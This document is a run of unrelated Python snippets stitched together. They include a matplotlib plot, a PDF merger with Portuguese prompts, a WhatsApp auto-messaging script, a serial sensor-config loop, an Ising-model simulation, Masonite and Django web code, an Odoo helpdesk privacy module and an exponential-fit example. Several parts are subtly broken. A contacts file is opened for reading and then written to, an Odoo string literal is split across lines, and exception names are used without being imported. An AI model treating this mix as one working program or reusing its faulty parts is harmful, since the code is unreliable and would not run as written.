print(file)

# In[3]:

# extract from csv
b_fdm = file["B FDM"]
k_fdm = file["K FDM"]
b_tacho = file["B tacho"]
k_tacho = file["K tacho"]
b_foaw = file["B FOAW"]
k_foaw = file["K FOAW"]

# In[5]:

# plotting
plt.scatter(b_fdm,k_fdm)
plt.plot(b_fdm,k_fdm,label='FDM')

plt.scatter(b_tacho,k_tacho)
plt.plot(b_tacho,k_tacho,label='Tacho')

plt.scatter(b_foaw,k_foaw)
plt.plot(b_foaw,k_foaw,label='FOAW')

plt.legend()
plt.xlabel('B [(Nm*s)/deg]')
plt.ylabel('K [Nm/deg]')
plt.title('MIKE 3 KB-Plot')
plt.savefig("Mike3_KB_Plot.pdf")
plt.show()


import os
from this import d
from PyPDF2 import PdfFileReader, PdfFileMerger

merger = PdfFileMerger()

while True:
  menu = input("Precisa de ajuda? (S/N)")
  print()
  if(menu == "S" or menu == "s"):
    print("Para renomear adequadamente os arquivos, selecione todos, do último para o primeiro.")
    print("Clique com o botão da direita do mouse no primeiro arquivo e selecione 'Renomear' e digite o nome escolhido.")
    print("Por padrão o nome dos arquivos será o que você escolher, porém o windows colocará (1), (2), etc na frente.")
    print("Quando o programa for executado, digite exatamente o nome que você escolheu quando perguntado qual o nome inicial do arquivo.")
    print("Siga as instruções que aparecerem na tela...")
    break
  if(menu == "N" or menu == "n"):
    break
  else:
    print("Digite S para sim ou N para não.")

nomeEntrada = str(input("Digite o nome inicial de todos os arquivos: "))
print()

numeroArquivos = int(input("Digite o número de arquivos a serem juntados: "))
print()

####### criando os nomes dos arquivos a serem lidos
filename = [nomeEntrada + " (1).pdf"]
for i in range(1, numeroArquivos):
  filename.append(nomeEntrada + " (" + str(i + 1) + ").pdf")
print(filename)

nomeSaida = str(input("Digite o nome do arquivo de saída: "))

#####ler os arquivos pdf
for i in range(0, numeroArquivos):
  merger.append(PdfFileReader(filename[i], "rb"))
merger.write(os.path.join(nomeSaida + ".pdf"))


from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
import pyttsx3
import pywhatkit as whatsapp
from datetime import datetime

driver =webdriver.Chrome("C:/Program Files (x86)/chromedriver.exe")
mouth=pyttsx3.init()
def driveSite(weblink):
    driver.get(weblink)
def loginWhatsapp():
    driveSite("http://web.whatsapp.com")
    mouth.say("Kindly Scan this QR Code from your cell phone")
    mouth.runAndWait()
    driver.implicitly_wait(60)
def insert_contact(partial_name, contactnumber):
    file = open("Contacts.txt")
    file.write(partial_name+","+contactnumber+"\n")
def getList(files):
    file=open(files,'r')
    content = file
    d=dict()
    for line in content:
        cn, n=line.split(",")
        d[cn]=n
    return d
def sendMessage(message):
    contactsdict=getList("Contacts.txt")
    for i in contactsdict:
        number = contactsdict.get(i)
        print(number)
        current_hour=datetime.now().hour
        current_minute=datetime.now().minute+1
        whatsapp.sendwhatmsg(number, message,current_hour,current_minute)
def closeWeb():
    driver.close()
loginWhatsapp()
sendMessage("Hello this is automated message sent by Aadarsh Mehdi")
closeWeb()


import serial
from json.decoder import JSONDecodeError

# configure the serial connections (the parameters differs on the device you are connecting to)
ser = serial.Serial(
    port='/dev/ttyUSB0',
    baudrate=115200
)

# import time
# time.sleep(3)
import json
import struct
run = True
while run:
    try:

        input("Dale")
        ser.write(json.dumps({"command": "status"}).encode("utf-8"))
        line = ser.readline().decode('utf-8')
        print(line)
        ser.write(json.dumps({"command": "read"}).encode("utf-8"))
        line = ser.readline().decode('utf-8')
        print(line)
        input("DOLO")
  # buffer[0] = 'D';
  # buffer[1] = 'S';
  # buffer[2] = '1';
  # buffer[3] = '8';
  # buffer[4] = 'B';
  # buffer[5] = '2';
  # buffer[6] = '0';
  # buffer[7] = 0;
  # buffer[8] = 8;
  # buffer[9] = 0x28;
  # buffer[10] = 0xFF;
  # buffer[11] = 0x10;
  # buffer[12] = 0x93;
  # buffer[13] = 0x6F;
  # buffer[14] = 0x14;
  # buffer[15] = 0x4;
  # buffer[16] = 0x11;
  #
  # buffer[17] = 'D';
  # buffer[18] = 'S';
  # buffer[19] = '1';
  # buffer[29] = '8';
  # buffer[21] = 'B';
  # buffer[22] = '2';
  # buffer[23] = '0';
  # buffer[24] = 0;
  # buffer[25] = 8;
  # buffer[26] = 1;
  # buffer[27] = 2;
  # buffer[28] = 3;
  # buffer[29] = 4;
  # buffer[30] = 5;
  # buffer[31] = 6;
  # buffer[32] = 7;
  # buffer[33] = 8;
        sensor_type = "DS18B20"
        sensor_type_packed = struct.pack("{size}s".format(size=len(sensor_type)), bytes(sensor_type, 'ascii'))
        address = [0x28, 0xFF, 0x10, 0x93, 0x6F, 0x14, 0x4, 0x11]
        address_packed = struct.pack("8B", *address)
        # print(address)
        data = sensor_type_packed + struct.pack("BB", 0, len(address)) + address_packed
        # print(data)
        # print(len(data))
        print(json.dumps({"command": "writeConfig", "totalSensors": 1, "dataSize": len(data)}))
        ser.write(json.dumps({"command": "writeConfig", "totalSensors": 1, "dataSize": len(data)}).encode("utf-8"))
        ser.write(data)
        line = ser.readline().decode('utf-8')
        print(line)
        message = json.loads(line)
        print("FALLO" if message["error"] else "EXITO")
        # for i in message["data"]:
        #     print("Sensor:", i["name"])
        #     print("Valores", i["values"])

    except KeyboardInterrupt:
        run = False

ser.close()


import numpy as np
import matplotlib.pyplot as plt
from math import sqrt

def get_probability(delta_energy, beta):
    return np.exp(-delta_energy*beta)

def get_energy():
    return -np.sum(
    interaction * spins * np.roll(spins, 1, axis=0) +
    interaction * spins * np.roll(spins, -1, axis=0) +
    interaction * spins * np.roll(spins, 1, axis=1) +
    interaction * spins * np.roll(spins, -1, axis=1)
  )/2 - moment * np.sum(field * spins)

def update(beta):
    global spins
    # global current_energy
    global spins_sum
    i = np.random.randint(spins.shape[0])
    j = np.random.randint(spins.shape[1])
    delta_energy=2*spins[i,j]*(spins[(i+1)%L,j]+spins[(i-1)%L,j]+spins[i,(j+1)%L]+spins[i,(j-1)%L])
    if get_probability(delta_energy, beta) > np.random.random():
        spins[i,j] *= -1
        # current_energy += delta_energy
        # spins_sum += spins[i,j]*2

def isweep(N,beta):
    for i in range(N):
        update(beta)
        # print("isweep",i)

if __name__ == '__main__':
    L = 16
    shape = (L, L)
    N = L*L
    moment = 1
    delta=0.05
    # External magnetic field
    field = np.full(shape, 0)

    # Temperature (in units of energy)
    temperature = 4.0
    beta=1/temperature
    # Interaction (ferromagnetic if positive, antiferromagnetic if negative)
    interaction = 1
    global spins
    spins = np.full(shape,1)
    N_total=1000000
    isweep(N_total,beta)
    plt.matshow(spins)
    plt.show()


"""Web Routes."""

from masonite.routes import Get, Post, Put, Delete, RouteGroup
ROUTES = [
    Get("/", "WelcomeController@show").name("welcome"),

    RouteGroup([
        Get("/", "NoteController@index").name("index"),
        Get("/@id", "NoteController@show").name("show"),
        Post('/', "NoteController@create").name("create"),
        Put('/@id', "NoteController@update").name("update"),
        Delete('/@id', "NoteController@destroy").name("destroy")
    ], prefix="/notes", name="notes")
]


# -*- coding: utf-8 -*-
"""
Created on Thu May 23 21:58:22 2019

@author: zsl
"""
from sklearn import datasets
'''
car
'''
iris = datasets.load_iris()
wine = datasets.load_wine()
X, y = iris.data, iris.target

dataSet = []
labels = []
fileIn = open('car.data')
for line in fileIn.readlines():
	lineArr = line.strip().split('\t')
	dataSet.append([float(lineArr[0]), float(lineArr[1])])
	labels.append(float(lineArr[2]))


from datetime import datetime, timedelta

from django.contrib import messages
from django.contrib.auth import views
from django.core.exceptions import ValidationError
from django.core.mail import EmailMultiAlternatives
from django.conf import settings
from django.http.response import HttpResponseRedirect
from django.shortcuts import redirect
from django.template.loader import render_to_string
from django.urls import reverse, reverse_lazy
from django.utils.translation import gettext as _, gettext_lazy
from django.views.generic import View as BaseView

from conlangdev.forms.auth import AuthenticationForm, RegisterForm
from conlangdev.utils.token import (
    check_confirm_email_token,
    generate_confirm_email_token,
)
from conlangdev.views.base import FormView, View

class ConfirmEmailView(BaseView):
    success_url = reverse_lazy("login")

    def get(self, request, *args, **kwargs):
        token = self.kwargs.get("token")
        user = check_confirm_email_token(token)
        if user:
            user.email_confirmed = True
            user.email_confirmed_at = datetime.now()
            user.save()
            messages.success(
                request,
                _("Thanks for confirming your email address! You can now log in."),
            )
        else:
            messages.error(
                request,
                _(
                    "Sorry, that confirmation token either wasn't valid or has "
                    "expired."
                ),
            )
        return redirect(self.success_url)

class LoginView(FormView, views.LoginView):
    form_class = AuthenticationForm
    template_name = "conlangdev/form.jinja"
    success_url = reverse_lazy("homepage")

    verb = gettext_lazy("Login")
    verb_icon = "fa-arrow-right-to-bracket"
    page_icon = "fa-arrow-right-to-bracket"
    cancel_label = "Register"
    cancel_icon = "fa-user-plus"
    cancel_url = reverse_lazy("register")

    @property
    def hidden_fields(self):
        return {
            "next": self.request.GET.get("next", self.success_url),
        }

    def get(self, request, *args, **kwargs):
        if request.user.is_authenticated:
            return HttpResponseRedirect(self.success_url)
        return super().get(request, *args, **kwargs)

class LogoutView(View, views.LogoutView):
    next_page = "login"

class RegisterView(FormView):
    form_class = RegisterForm
    success_url = reverse_lazy("login")

    verb = gettext_lazy("Register")
    verb_icon = "fa-user-plus"
    page_icon = "fa-user-plus"

    def form_valid(self, form):
        form.instance.set_password(form.cleaned_data["password1"])
        form.instance.save()

        token = generate_confirm_email_token(
            form.instance, datetime.now() + timedelta(hours=1)
        )
        link = reverse("email_confirm", kwargs={"token": token})
        context = {
            "username": form.instance.username,
            "link": f"{settings.SITE_ROOT_URL}{link}",
        }
        message_text = render_to_string("conlangdev/email/confirm_email.txt", context)
        message_html = render_to_string("conlangdev/email/confirm_email.html", context)
        message = EmailMultiAlternatives(
            _("Confirm your email address"),
            message_text,
            settings.EMAIL_FROM,
            [form.instance.email],
        )
        message.attach_alternative(message_html, "text/html")
        message.send()

        messages.info(
            self.request,
            _(
                "Account created successfully! Check your emails - we've sent "
                "you a confirmation link to click before you can log in."
            ),
        )
        return redirect(self.success_url)

    def form_invalid(self, form):
        if "captcha" in form.errors:
            form.errors["captcha"] = ValidationError(
                _(
                    "Please confirm you are not a robot by ticking the verification "
                    "check."
                )
            )
        return super().form_invalid(form)


from markupsafe import Markup, escape
from odoo import _, api, fields, models
from pprint import pprint,pformat
from odoo import http
from odoo.osv import expression
from odoo.tools import consteq, plaintext2html
from odoo.addons.helpdesk.controllers import portal
from odoo.addons.portal.controllers import mail
from odoo.addons.mail.models.mail_message import Message
from odoo.addons.mail.models.mail_thread import MailThread
from odoo.addons.web.controllers.main import Binary
from odoo.http import request
import logging

from odoo.exceptions import ValidationError

_logger = logging.getLogger(__name__)

class HelpdeskPrivacy(models.Model):
    _inherit = 'mail.mail'

    def dump(self, obj):
        for attr in dir(obj):
            _logger.info("obj.%s = %r" % (attr, getattr(obj, attr)))

    def send(self, auto_commit=False, raise_exception=False):
        for mail_id in self.ids:
            mail = None
            try:
                mail = self.browse(mail_id)
                if mail.state == 'outgoing' and mail.model == 'helpdesk.ticket':
                    #
                    # Overwrite sender
                    #
                    mail.email_from = mail.reply_to
                res = super(HelpdeskPrivacy, self).send()
                return res
            except Exception as e:
                _logger.exception('failed sending mail')

class HelpdeskPrivacyCustomerPortal(portal.CustomerPortal):

    def dump(self, obj):
        for attr in dir(obj):
            _logger.info("obj.%s = %r" % (attr, getattr(obj, attr)))

    @http.route([
        "/helpdesk/ticket/<int:ticket_id>",
        "/helpdesk/ticket/<int:ticket_id>/<access_token>",
        '/my/ticket/<int:ticket_id>',
        '/my/ticket/<int:ticket_id>/<access_token>'
    ], type='http', auth="public", website=True)
    def tickets_followup(self, ticket_id=None, access_token=None, **kw):
        try:
            ticket_sudo = self._document_check_access('helpdesk.ticket', ticket_id, access_token)
        except (AccessError, MissingError):
            return request.redirect('/my')

        values = self._ticket_get_page_view_values(ticket_sudo, access_token, **kw)
        return request.render("odoo_helpdesk_privacy.tickets_followup", values)

class BinaryPrivacy(Binary):

    def dump(self, obj):
        for attr in dir(obj):
            _logger.info("obj.%s = %r" % (attr, getattr(obj, attr)))

    @http.route(['/web/image',
        '/web/image/<string:xmlid>',
        '/web/image/<string:xmlid>/<string:filename>',
        '/web/image/<string:xmlid>/<int:width>x<int:height>',
        '/web/image/<string:xmlid>/<int:width>x<int:height>/<string:filename>',
        '/web/image/<string:model>/<int:id>/<string:field>',
        '/web/image/<string:model>/<int:id>/<string:field>/<string:filename>',
        '/web/image/<string:model>/<int:id>/<string:field>/<int:width>x<int:height>',
        '/web/image/<string:model>/<int:id>/<string:field>/<int:width>x<int:height>/<string:filename>',
        '/web/image/<int:id>',
        '/web/image/<int:id>/<string:filename>',
        '/web/image/<int:id>/<int:width>x<int:height>',
        '/web/image/<int:id>/<int:width>x<int:height>/<string:filename>',
        '/web/image/<int:id>-<string:unique>',
        '/web/image/<int:id>-<string:unique>/<string:filename>',
        '/web/image/<int:id>-<string:unique>/<int:width>x<int:height>',
        '/web/image/<int:id>-<string:unique>/<int:width>x<int:height>/<string:filename>'], type='http', auth="public")
    def content_image(self, xmlid=None, model='ir.attachment', id=None, field='datas',
                      filename_field='name', unique=None, filename=None, mimetype=None,
                      download=None, width=0, height=0, crop=False, access_token=None,
                      **kwargs):

        if model == 'mail.message' and width and height:
            #
            # TODO: show the company logo if possible
            #
            id = 0
        return super(BinaryPrivacy, self).content_image(xmlid, model, id, field,
                      filename_field, unique, filename, mimetype,
                      download, width, height, crop, access_token,
                      **kwargs)

class MailMessage(Message):
    _inherit = 'mail.message'

    # for attr in dir(author_avatar):
    #     _logger.info("author_avatar.%s = %r" % (attr, getattr(author_avatar, attr)))

    def dump(self, obj):
        for attr in dir(obj):
            _logger.info("obj.%s = %r" % (attr, getattr(obj, attr)))

    def is_internal_user(self, id):
        query = """select * from res_users where partner_id=%(id)s;"""
        self._cr.execute(
            query,
            {
                'id': id
            },
        )
        res = self._cr.fetchone()
        if res:
            return True
        return False

    def _message_format(self, fnames, format_reply=True):
        """ Override the method to add information about a publisher comment
        on each rating messages if requested, and compute a plaintext value of it.
        """
        vals_list = super(MailMessage, self)._message_format(fnames, format_reply=format_reply)

        for vals in vals_list:
            # self.dump(vals.items)
            if 'is_internal' in vals.keys() and not vals['is_internal']:
                if vals['model'] == 'helpdesk.ticket':
                    if self.is_internal_user(vals['author_id'][0]):
                        vals['author_id'] = (1, self.env.company.name)

        return vals_list

    # @api.model
    # def default_get(self, fields):
    #     res = super(MailMessage, self).default_get(fields)
    #     missing_author = 'author_id' in fields and 'author_id' not in res
    #     missing_email_from = 'email_from' in fields and 'email_from' not in res
    #     if missing_author or missing_email_from:
    #         author_id, email_from = self.env['mail.thread']._message_compute_author(res.get('author_id'), res.get('email_from'), raise_exception=False)
    #         if missing_email_from:
    #             res['email_from'] = email_from
    #         if missing_author:
    #             res['author_id'] = author_id
    #     return res

#
# Outgoing emails from admin direct send mail
# Effect: Change signature
#
class PrivacyMailThread(MailThread):
    _inherit = 'mail.thread'

    def dump(self, obj):
        for attr in dir(obj):
            _logger.info("obj.%s = %r" % (attr, getattr(obj, attr)))

    @api.model
    def _notify_prepare_template_context(self, message, msg_vals, model_description=False, mail_auto_delete=True):

        res = super(PrivacyMailThread, self)._notify_prepare_template_context(message, msg_vals, model_description, mail_auto_delete)
        model = msg_vals.get('model') if msg_vals else message.model

        if model == 'helpdesk.ticket':
            signature = '--
%s' % res['company'].name
            signature = Markup(signature)
            res['signature'] = signature

        return res


import math

import matplotlib
import numpy as np
from matplotlib import pyplot as plt

def create_data(f, x_vals):
    y_vals = []
    for i in x_vals:
        y_vals.append(f(i))
    return np.array(y_vals)

def fit_exp_data(x_vals, y_vals):
    log_vals = []
    for y in y_vals:
        log_vals.append(math.log(y, 2))
    fit = np.polyfit(x_vals, log_vals, 1)
    return fit, 2

if __name__ == '__main__':
    x_vals = range(10)
    f = lambda x: 3 ** x
    y_vals = create_data(f, x_vals)

    matplotlib.use('TkAgg')
    plt.plot(x_vals, y_vals, 'ko', label='Actual values')

    fit, base = fit_exp_data(x_vals, y_vals)
    predicted_y_vals = []
    for x in x_vals:
        predicted_y_vals.append(base ** np.polyval(fit, x))
    plt.plot(x_vals, predicted_y_vals, label='Predicted values')

    plt.title('Fitting an Exponential Function')
    plt.legend(loc='upper left')
    plt.savefig('fit-exp')
    plt.show()

    print(f'f(20) = {f(20)}')
    print(f'Predicted value = {int(base ** (np.polyval(fit, [20])))}')

1 Intro CS/02.Intro to CS/20.Understanding Experimental Data/20.2.The Behavior of Projectiles/20.3.Fitting Exponentially Distributed Data/fit_exponential.py